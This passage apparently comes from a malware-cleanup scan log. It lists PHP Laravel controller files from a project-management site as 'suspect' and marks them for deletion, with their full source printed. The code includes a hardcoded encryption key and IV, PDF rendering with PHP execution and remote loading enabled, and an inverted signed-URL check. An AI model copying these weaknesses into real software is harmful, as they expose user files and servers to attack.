$this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->settings = $this->estimate->company; $this->invoiceSetting = invoice_setting(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); $pdf->loadView('estimates.pdf.' . $this->invoiceSetting->template, $this->data); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, null, null, 10); $filename = $this->estimate->estimate_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function sendEstimate($id) { $estimate = Estimate::findOrFail($id); $estimate->send_status = 1; if ($estimate->status == 'draft') { $estimate->status = 'waiting'; } $estimate->save(); event(new NewEstimateEvent($estimate)); return Reply::success(__('messages.updateSuccess')); } public function changeStatus(Request $request, $id) { $estimate = Estimate::findOrFail($id); $estimate->status = 'canceled'; $estimate->save(); return Reply::success(__('messages.updateSuccess')); } public function acceptModal(Request $request, $id) { return view('estimates.ajax.accept-estimate', ['id' => $id]); } public function accept(EstimateAcceptRequest $request, $id) { DB::beginTransaction(); $estimate = Estimate::with('sign')->findOrFail($id); /** @phpstan-ignore-next-line */ if ($estimate && $estimate->sign) { return Reply::error(__('messages.alreadySigned')); } $accept = new AcceptEstimate(); $accept->full_name = $request->first_name . ' ' . $request->last_name; $accept->estimate_id = $estimate->id; $accept->email = $request->email; $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('estimate/accept'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/estimate/accept/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'estimate/accept', $estimate->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'estimate/accept/', 300); } } $accept->signature = $imageName; $accept->save(); $estimate->status = 'accepted'; $estimate->save(); $invoiceExist = Invoice::where('estimate_id', $estimate->id)->first(); if(is_null($invoiceExist)) { $invoice = new Invoice(); $invoice->client_id = $estimate->client_id; $invoice->issue_date = Carbon::now($this->company->timezone)->format('Y-m-d'); $invoice->due_date = Carbon::now($this->company->timezone)->addDays(invoice_setting()->due_after)->format('Y-m-d'); $invoice->sub_total = round($estimate->sub_total, 2); $invoice->discount = round($estimate->discount, 2); $invoice->discount_type = $estimate->discount_type; $invoice->total = round($estimate->total, 2); $invoice->currency_id = $estimate->currency_id; $invoice->note = trim_editor($estimate->note); $invoice->status = 'unpaid'; $invoice->estimate_id = $estimate->id; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->save(); /** @phpstan-ignore-next-line */ foreach ($estimate->items as $item) : if (!is_null($item)) { InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary ?: '', 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => round($item->unit_price, 2), 'amount' => round($item->amount, 2), 'taxes' => $item->taxes ] ); } endforeach; // Log search $this->logSearchEntry($invoice->id, $invoice->invoice_number, 'invoices.show', 'invoice'); } DB::commit(); return Reply::redirect(route('estimates.index'), __('messages.estimateSigned')); } public function decline(Request $request, $id) { $estimate = Estimate::findOrFail($id); $estimate->status = 'declined'; $estimate->save(); return Reply::dataOnly(['status' => 'success']); } public function deleteEstimateItemImage(Request $request) { $item = EstimateItemImage::where('estimate_item_id', $request->invoice_item_id)->first(); if ($item) { Files::deleteFile($item->hashname, 'estimate-files/' . $item->id . '/'); $item->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function getclients($id) { $client_data = Product::where('unit_id', $id)->get(); $unitId = UnitType::where('id', $id)->first(); return Reply::dataOnly(['status' => 'success', 'data' => $client_data, 'type' => $unitId] ); } public function addItem(Request $request) { $this->items = Product::findOrFail($request->id); $this->invoiceSetting = invoice_setting(); $exchangeRate = Currency::findOrFail($request->currencyId); if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate)) { if ($this->items->total_amount != '') { /** @phpstan-ignore-next-line */ $this->items->price = floor($this->items->total_amount * $exchangeRate->exchange_rate); } else { $this->items->price = floatval($this->items->price) * floatval($exchangeRate->exchange_rate); } } else { if ($this->items->total_amount != '') { $this->items->price = $this->items->total_amount; } } $this->items->price = number_format((float)$this->items->price, 2, '.', ''); $this->taxes = Tax::all(); $this->units = UnitType::all(); $view = view('invoices.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/FileController.php
<?php namespace App\Http\Controllers; class FileController extends Controller { public function getFile($type, $path) { abort_if(!in_array($type, ['file', 'image']), 404); try { $path = str($path)->replace('_masked.png', '')->__toString(); $decrypted = self::encryptDecrypt($path, 'decrypt'); return response()->redirectTo(asset_url_local_s3($decrypted)); } catch (\Exception $e) { abort(404); } } public static function encryptDecrypt($string, $action = 'encrypt') { $encryptMethod = 'AES-256-CBC'; $secret_key = 'worksuite'; // User define private key $secret_iv = 'froiden'; // User define secret key $key = hash('sha256', $secret_key); $iv = substr(hash('sha256', $secret_iv), 0, 16); // sha256 is hash_hmac_algo if ($action == 'encrypt') { $output = openssl_encrypt($string, $encryptMethod, $key, 0, $iv); return base64_encode($output); } if ($action == 'decrypt') { return openssl_decrypt(base64_decode($string), $encryptMethod, $key, 0, $iv); } } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/HomeController.php
<?php namespace App\Http\Controllers; use App\Models\GlobalSetting; use App\Scopes\CompanyScope; use Carbon\Carbon; use Stripe\Stripe; use App\Models\Deal; use App\Models\Role; use App\Models\Task; use App\Models\User; use App\Helper\Files; use App\Helper\Reply; use App\Models\Order; use App\Models\Ticket; use GuzzleHttp\Client; use App\Models\Company; use App\Models\Invoice; use App\Models\Payment; use App\Models\Product; use App\Models\Project; use App\Models\Proposal; use App\Models\TaskFile; use App\Models\LeadSource; use App\Models\LeadStatus; use App\Models\TicketType; use App\Models\CreditNotes; use App\Models\LeadProduct; use App\Models\TicketReply; use App\Scopes\ActiveScope; use App\Models\InvoiceItems; use App\Models\ProposalItem; use App\Models\ProposalSign; use Illuminate\Http\Request; use App\Models\ClientDetails; use App\Models\LeadCustomForm; use App\Models\TaskboardColumn; use App\Models\TicketCustomForm; use Froiden\RestAPI\ApiResponse; use Illuminate\Support\Facades\DB; use App\Models\ProjectTimeLogBreak; use Illuminate\Support\Facades\App; use Nwidart\Modules\Facades\Module; use App\Traits\UniversalSearchTrait; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Artisan; use App\Models\PaymentGatewayCredentials; use App\Http\Requests\Lead\StorePublicLead; use App\Http\Requests\ProposalAcceptRequest; use App\Http\Requests\Stripe\StoreStripeDetail; use App\Http\Requests\Tickets\StoreCustomTicket; use App\Models\Lead; use App\Models\LeadPipeline; use App\Models\PipelineStage; use App\Models\TicketGroup; class HomeController extends Controller { use UniversalSearchTrait; /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { return view('home'); } public function login() { return redirect(route('login')); } public function invoice($hash) { $this->pageTitle = 'app.menu.invoices'; $this->pageIcon = 'icon-money'; if (request()->hasValidSignature()) { abort(401); } $this->invoice = Invoice::with('currency', 'project', 'project.client', 'items.invoiceItemImage', 'items', 'items.unit')->where('hash', $hash)->firstOrFail(); $this->paidAmount = $this->invoice->getPaidAmount(); $this->discount = 0; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } $taxList = []; $items = InvoiceItems::whereNotNull('taxes') ->where('invoice_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->company = $this->invoice->company; $this->credentials = $this->company->paymentGatewayCredentials; $this->methods = $this->company->offlinePaymentMethod; $this->invoiceSetting = $this->company->invoiceSetting; return view('invoice', [ 'companyName' => $this->company->company_name, 'pageTitle' => $this->pageTitle, 'pageIcon' => $this->pageIcon, 'company' => $this->company, 'invoice' => $this->invoice, 'paidAmount' => $this->paidAmount, 'discount' => $this->discount, 'credentials' => $this->credentials, 'taxes' => $this->taxes, 'methods' => $this->methods, 'invoiceSetting' => $this->invoiceSetting, ]); } public function stripeModal(Request $request) { $this->invoiceID = $request->invoice_id; $this->countries = countries(); return view('public-payment.stripe.index', $this->data); } public function paystackModal(Request $request) { $this->id = $request->id; $this->type = $request->type; $data = match ($request->type) { 'invoice' => Invoice::findOrFail($request->id), 'order' => Order::findOrFail($request->id), default => Invoice::findOrFail($request->id), }; $this->company = $data->company; return view('public-payment.paystack.index', $this->data); } public function flutterwaveModal(Request $request) { $this->id = $request->id; $this->type = $request->type; return view('public-payment.flutterwave.index', $this->data); } public function mollieModal(Request $request) { $this->id = $request->id; $this->type = $request->type; $data = match ($request->type) { 'invoice' => Invoice::findOrFail($request->id), 'order' => Order::findOrFail($request->id), default => Invoice::findOrFail($request->id), }; $this->company = $data->company; return view('public-payment.mollie.index', $this->data); } public function authorizeModal(Request $request) { $this->id = $request->id; $this->type = $request->type; return view('public-payment.authorize.index', $this->data); } public function saveStripeDetail(StoreStripeDetail $request) { $id = $request->invoice_id; $this->invoice = Invoice::with(['client', 'project', 'project.client'])->findOrFail($id); $this->company = $this->invoice->company; if ($this->invoice && $this->invoice->amountDue() == 0) { Reply::error(__('messages.invoiceAlreadyPaid')); } $this->credentials = PaymentGatewayCredentials::where('company_id', $this->company->id)->first(); $client = null; if (!is_null($this->invoice->client_id)) { $client = $this->invoice->client; } else if (!is_null($this->invoice->project_id) && !is_null($this->invoice->project->client_id)) { $client = $this->invoice->project->client; } if (($this->credentials->test_stripe_secret || $this->credentials->live_stripe_secret) && !is_null($client)) { Stripe::setApiKey($this->credentials->stripe_mode == 'test' ? $this->credentials->test_stripe_secret : $this->credentials->live_stripe_secret); $totalAmount = $this->invoice->amountDue(); $customer = \Stripe\Customer::create([ 'email' => $client->email, 'name' => $request->clientName, 'address' => [ 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ], ]); $intent = \Stripe\PaymentIntent::create([ 'amount' => $totalAmount * 100, 'currency' => $this->invoice->currency->currency_code, 'customer' => $customer->id, 'setup_future_usage' => 'off_session', 'payment_method_types' => ['card'], 'description' => $this->invoice->invoice_number . ' Payment', 'metadata' => ['integration_check' => 'accept_a_payment', 'invoice_id' => $id] ]); $this->intent = $intent; } $customerDetail = [ 'email' => $client->email, 'name' => $request->clientName, 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ]; $this->customerDetail = $customerDetail; $view = view('public-payment.stripe.stripe-payment', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'intent' => $this->intent]); } public function downloadInvoice($id) { $this->invoice = Invoice::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->company = $this->invoice->company; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale); // Download file uploaded if ($this->invoice->file != null) { return response()->download(storage_path('app/public/invoice-files') . '/' . $this->invoice->file); } $pdfOption = $this->domPdfObjectForDownload($this->invoice->id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoice = Invoice::with('items')->findOrFail($id); $this->company = $this->invoice->company; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $this->paidAmount = $this->invoice->getPaidAmount(); $this->creditNote = 0; if ($this->invoice->credit_note) { $this->creditNote = CreditNotes::where('invoice_id', $id) ->select('cn_number') ->first(); } if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } $taxList = array(); $items = InvoiceItems::whereNotNull('taxes') ->where('invoice_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->company = $this->invoice->company; $this->payments = Payment::with(['offlineMethod'])->where('invoice_id', $this->invoice->id)->where('status', 'complete')->orderBy('paid_on', 'desc')->get(); $pdf = app('dompdf.wrapper'); $pdf->loadView('invoices.pdf.' . $this->invoiceSetting->template, $this->data); $filename = $this->invoice->invoice_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function app() { $setting = Company::select('id', 'company_name')->first(); return ['data' => $setting]; } public function gantt($hash) { $this->project = Project::with('members', 'members.user')->where('hash', $hash)->firstOrFail(); $this->company = $this->project->company; $this->pageTitle = $this->project->project_name; return view('gantt', [ 'company' => $this->company, 'pageTitle' => $this->pageTitle, 'project' => $this->project ]); } public function ganttData($ganttProjectId) { $assignedTo = request('assignedTo'); $projectTask = request('projectTask'); if ($assignedTo != 'all') { $tasks = Task::projectTasks($ganttProjectId, $assignedTo, 1); } else { $tasks = Task::projectTasks($ganttProjectId, null, 1); } if ($projectTask) { $tasks = $tasks->whereIn('id', explode(',', $projectTask)); } $data = array(); foreach ($tasks as $key => $task) { $data[] = [ 'id' => 'task-' . $task->id, 'name' => $task->heading, 'start' => ((!is_null($task->start_date)) ? $task->start_date->format('Y-m-d') : ((!is_null($task->due_date)) ? $task->due_date->format('Y-m-d') : null)), 'end' => ((!is_null($task->due_date)) ? $task->due_date->format('Y-m-d') : $task->start_date->format('Y-m-d')), 'progress' => 0, 'bg_color' => $task->boardColumn->label_color, 'taskid' => $task->hash, 'draggable' => true ]; if (!is_null($task->dependent_task_id)) { $data[$key]['dependencies'] = 'task-' . $task->dependent_task_id; } } return response()->json($data); } public function taskDetail($hash) { $this->task = Task::with('company:id,timezone,favicon,light_logo,date_format,time_format,company_name', 'boardColumn', 'project', 'users', 'label', 'approvedTimeLogs', 'approvedTimeLogs.user', 'comments', 'comments.user') ->withCount('subtasks', 'files', 'comments', 'activeTimerAll') ->where('hash', $hash) ->firstOrFail() ->withCustomFields(); $this->pageTitle = __('app.task') . ' # ' . $this->task->task_short_code; if ($this->task->getCustomFieldGroupsWithFields()) { $this->fields = $this->task->getCustomFieldGroupsWithFields()->fields; } $this->employees = User::join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('project_time_logs', 'project_time_logs.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id'); $this->employees = $this->employees->select( 'users.name', 'users.image', 'users.id', 'designations.name as designation_name' ); $this->employees = $this->employees->where('project_time_logs.task_id', '=', $this->task->id); $this->employees = $this->employees->groupBy('project_time_logs.user_id') ->orderBy('users.name') ->get(); $this->breakMinutes = ProjectTimeLogBreak::taskBreakMinutes($this->task->id); $tab = request('view'); $this->tab = match ($tab) { 'sub_task' => 'front.tasks.ajax.sub_tasks', 'history' => 'front.tasks.ajax.history', 'comments' => 'front.tasks.ajax.comments', 'time_logs' => 'front.tasks.ajax.timelogs', 'notes' => 'front.tasks.ajax.notes', default => 'front.tasks.ajax.files', }; $this->company = $this->task->company; if (request()->ajax()) { if (request('json') == true) { $html = view($this->tab, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $html = view('front.tasks.ajax.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'front.tasks.ajax.show'; return view('front.tasks.show', $this->data); } public function taskFiles($id) { $this->taskFiles = TaskFile::where('task_id', $id)->get(); return view('task-files', ['taskFiles' => $this->taskFiles]); } public function taskboard(Request $request, $hash) { $project = Project::where('hash', $hash)->firstOrFail(); $this->company = $project->company; $this->pageTitle = $project->project_name . ' ' . __('modules.tasks.taskBoard'); if (request()->ajax()) { $this->boardEdit = false; $this->boardDelete = false; $boardColumns = TaskboardColumn::withCount(['tasks as tasks_count' => function ($q) use ($project) { $q->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by'); $q->whereNull('projects.deleted_at'); $q->where('tasks.is_private', 0); $q->where('tasks.project_id', '=', $project->id); $q->select(DB::raw('count(distinct tasks.id)')); }]) ->with(['tasks' => function ($q) use ($project) { $q->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->groupBy('tasks.id'); $q->whereNull('projects.deleted_at'); $q->where('tasks.is_private', 0); $q->where('tasks.project_id', '=', $project->id); }]) ->where('taskboard_columns.company_id', $this->company->id) ->orderBy('priority', 'asc') ->get(); $result = array(); foreach ($boardColumns as $key => $boardColumn) { $result['boardColumns'][] = $boardColumn; $tasks = Task::with(['users', 'project', 'labels']) ->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->select('tasks.*') ->where('tasks.board_column_id', $boardColumn->id) ->where('tasks.is_private', 0) ->orderBy('column_priority', 'asc') ->groupBy('tasks.id'); $tasks->whereNull('projects.deleted_at'); $tasks->where('tasks.project_id', '=', $project->id); $tasks->skip(0)->take($this->company->taskboard_length ?? 10); $tasks = $tasks->get(); $result['boardColumns'][$key]['tasks'] = $tasks; } $this->result = $result; $view = view('taskboard_data', [ 'result' => $this->result, 'boardEdit' => $this->boardEdit ])->render(); return Reply::dataOnly(['view' => $view]); } return view('taskboard', [ 'pageTitle' => $this->pageTitle, 'company' => $this->company, 'project' => $project ]); } public function taskboardLoadMore(Request $request, $hash) { $skip = $request->currentTotalTasks; $totalTasks = $request->totalTasks; $project = Project::where('hash', $hash)->firstOrFail(); $this->company = $project->company; $tasks = Task::with('users', 'project', 'labels') ->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->select('tasks.*') ->where('tasks.board_column_id', $request->columnId) ->orderBy('column_priority', 'asc') ->groupBy('tasks.id'); $tasks->whereNull('projects.deleted_at'); $tasks->where('tasks.project_id', '=', $project->id); $tasks->skip($skip)->take($this->company->taskboard_length ?? 10); $tasks = $tasks->get(); $this->tasks = $tasks; if ($totalTasks <= ($skip + $this->company->taskboard_length)) { $loadStatus = 'hide'; } else { $loadStatus = 'show'; } $view = view('taskboard_load_more', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'load_more' => $loadStatus]); } /** * custom lead form * * @return \Illuminate\Http\Response */ public function leadForm($id) { $this->withLogo = \request()->get('with_logo'); $this->styled = \request()->get('styled'); $this->pageTitle = 'modules.lead.leadForm'; $this->company = Company::where('hash', $id)->firstOrFail(); $this->globalSetting = global_setting(); $this->countries = countries(); $this->sources = LeadSource::where('company_id', $this->company->id)->get(); $this->products = Product::where('company_id', $this->company->id)->get(); $this->leadFormFields = LeadCustomForm::with('customField') ->where('status', 'active') ->where('company_id', $this->company->id) ->orderBy('field_order')->get(); return view('lead-form', $this->data); } /** * save lead * * @return \Illuminate\Http\Response */ // public function leadStore(StorePublicLead $request) public function leadStore(StorePublicLead $request) { $company = Company::findOrFail($request->company_id); if (global_setting()->google_recaptcha_status == 'active') { // Checking is google recaptcha is valid $gRecaptchaResponseInput = global_setting()->google_recaptcha_v3_status == 'active' ? 'g_recaptcha' : 'g-recaptcha-response'; $gRecaptchaResponse = $request->{$gRecaptchaResponseInput}; $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { return Reply::error(__('auth.recaptchaFailed')); } } $leadPipeline = LeadPipeline::where('default', '1')->where('company_id', $company->id)->first(); $leadStage = PipelineStage::where('default', '1')->where('lead_pipeline_id', $leadPipeline->id)->where('company_id', $company->id)->first(); $leadContact = null; if(request()->has('email') && !is_null($request->email)) { $leadContact = Lead::where('client_email', $request->email)->first(); } if(is_null($leadContact)){ $leadContact = new Lead(); } $leadContact->company_id = $company->id; $leadContact->company_name = (request()->has('company_name') ? $request->company_name : ''); $leadContact->website = (request()->has('website') ? $request->website : ''); $leadContact->address = (request()->has('address') ? $request->address : ''); $leadContact->client_name = (request()->has('name') ? $request->name : ''); $leadContact->client_email = (request()->has('email') ? $request->email : ''); $leadContact->mobile = (request()->has('mobile') ? $request->mobile : ''); $leadContact->city = (request()->has('city') ? $request->city : ''); $leadContact->state = (request()->has('state') ? $request->state : ''); $leadContact->country = (request()->has('country') ? $request->country : ''); $leadContact->postal_code = (request()->has('postal_code') ? $request->postal_code : ''); $leadContact->save(); $lead = new Deal(); $lead->company_id = $company->id; $lead->lead_id = $leadContact->id; $lead->name = (request()->has('name') ? $request->name : ''); $lead->lead_pipeline_id = $leadPipeline->id; $lead->pipeline_stage_id = $leadStage->id; $lead->note = (request()->has('message') ? $request->message : null); $lead->value = 0; $lead->currency_id = $company->currency_id; $lead->save(); if (!is_null($request->product)) { $products = $request->product; foreach($products as $product) { $leadProduct = new LeadProduct(); $leadProduct->deal_id = $lead->id; $leadProduct->product_id = $product; $leadProduct->save(); } } // To add custom fields data if ($request->custom_fields_data) { $lead->updateCustomFieldData($request->custom_fields_data); } return Reply::success(__('messages.recordSaved')); } /** * custom lead form * * @return \Illuminate\Http\Response */ public function ticketForm($id) { $this->pageTitle = 'modules.ticketForm'; $this->withLogo = \request()->get('with_logo'); $this->styled = \request()->get('styled'); $this->company = Company::where('hash', $id)->firstOrFail(); $this->groups = TicketGroup::where('company_id', $this->company->id)->get(); $this->ticketFormFields = TicketCustomForm::with('customField') ->where('company_id', $this->company->id) ->where('status', 'active') ->orderBy('field_order', 'asc') ->get(); $this->types = TicketType::where('company_id', $this->company->id)->get(); App::setLocale($this->company->locale); Carbon::setLocale($this->company->locale); setlocale(LC_TIME, $this->company->locale . '_' . mb_strtoupper($this->company->locale)); return view('ticket-form', $this->data); } /** * save lead * * @return array */ public function ticketStore(StoreCustomTicket $request) { $company = Company::findOrFail($request->company_id); if (global_setting()->google_recaptcha_status == 'active') { // Checking is google recaptcha is valid $gRecaptchaResponseInput = global_setting()->google_recaptcha_v3_status == 'active' ? 'g_recaptcha' : 'g-recaptcha-response'; $gRecaptchaResponse = $request->{$gRecaptchaResponseInput}; $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { return Reply::error(__('auth.recaptchaFailed')); } } /* $rules['g-recaptcha-response'] = 'required'; */ $existing_user = User::withoutGlobalScope(ActiveScope::class)->select('id', 'email')->where('email', $request->email)->first(); $newUser = $existing_user; if (!$existing_user) { $password = str_random(8); // create new user $client = new User(); $client->company_id = $request->company_id; $client->name = $request->name; $client->email = $request->email; $client->password = Hash::make($password); $client->save(); // attach role $role = Role::withoutGlobalScope(CompanyScope::class) ->where('name', 'client') ->where('company_id', $company->id) ->select('id') ->first(); $role ? $client->attachRole($role->id) : null; $clientDetail = new ClientDetails(); $clientDetail->company_id = $client->company_id; $clientDetail->user_id = $client->id; $clientDetail->save(); // Log search $this->logSearchEntry($client->id, $client->name, 'clients.edit', 'client'); $this->logSearchEntry($client->id, $client->email, 'clients.edit', 'client'); $newUser = $client; } // Create New Ticket $ticket = new Ticket(); $ticket->company_id = $company->id; $ticket->subject = (request()->has('ticket_subject') ? $request->ticket_subject : ''); $ticket->status = 'open'; $ticket->user_id = $newUser->id; $ticket->type_id = (request()->has('type') ? $request->type : null); $ticket->priority = (request()->has('priority') ? $request->priority : 'medium'); $ticket->group_id = (request()->has('assign_group') ? $request->assign_group : null); $ticket->save(); // Save first message $reply = new TicketReply(); $reply->message = (request()->has('ticket_description') ? $request->ticket_description : ''); $reply->ticket_id = $ticket->id; $reply->user_id = $newUser->id; // Current logged in user $reply->save(); // To add custom fields data if ($request->custom_fields_data) { $ticket->updateCustomFieldData($request->custom_fields_data); } return Reply::success(__('messages.ticketCreateSuccess')); } public function installedModule() { $message = ''; $plugins = Module::allEnabled(); /* @phpstan-ignore-line */ $applicationVersion = trim( preg_replace( '/\s\s+/', ' ', !file_exists(File::get(public_path() . '/version.txt')) ? File::get(public_path() . '/version.txt') : '0' ) ); $enableModules = []; $enableModules['application'] = 'worksuite'; $enableModules['version'] = $applicationVersion; $enableModules['worksuite'] = $applicationVersion; foreach ($plugins as $plugin) { $enableModules[$plugin->getName()] = trim( preg_replace( '/\s\s+/', ' ', !file_exists(File::get($plugin->getPath() . '/version.txt')) ? File::get($plugin->getPath() . '/version.txt') : '0' ) ); } if (((int)str_replace('.', '', $enableModules['RestAPI'])) < 110) { $message .= 'Please update Rest API module greater then 1.1.0 version'; } if (((int)str_replace('.', '', $enableModules['worksuite'])) < 400) { $message .= 'Please update' . config('app.name') . ' greater then 4.0.0 version'; } $enableModules['message'] = $message; return ApiResponse::make('Plugin data fetched successfully', $enableModules); } public function proposal($hash) { $this->pageTitle = __('app.menu.proposal'); $this->pageIcon = 'icon-people'; $this->proposal = Proposal::with(['items', 'unit'])->where('hash', $hash)->firstOrFail(); $this->company = $this->proposal->company; if ($this->proposal->discount > 0) { if ($this->proposal->discount_type == 'percent') { $this->discount = (($this->proposal->discount / 100) * $this->proposal->sub_total); } else { $this->discount = $this->proposal->discount; } } else { $this->discount = 0; } $this->taxes = ProposalItem::where('type', 'tax') ->where('proposal_id', $this->proposal->id) ->get(); $items = ProposalItem::whereNotNull('taxes') ->where('proposal_id', $this->proposal->id) ->get(); $taxList = array(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . 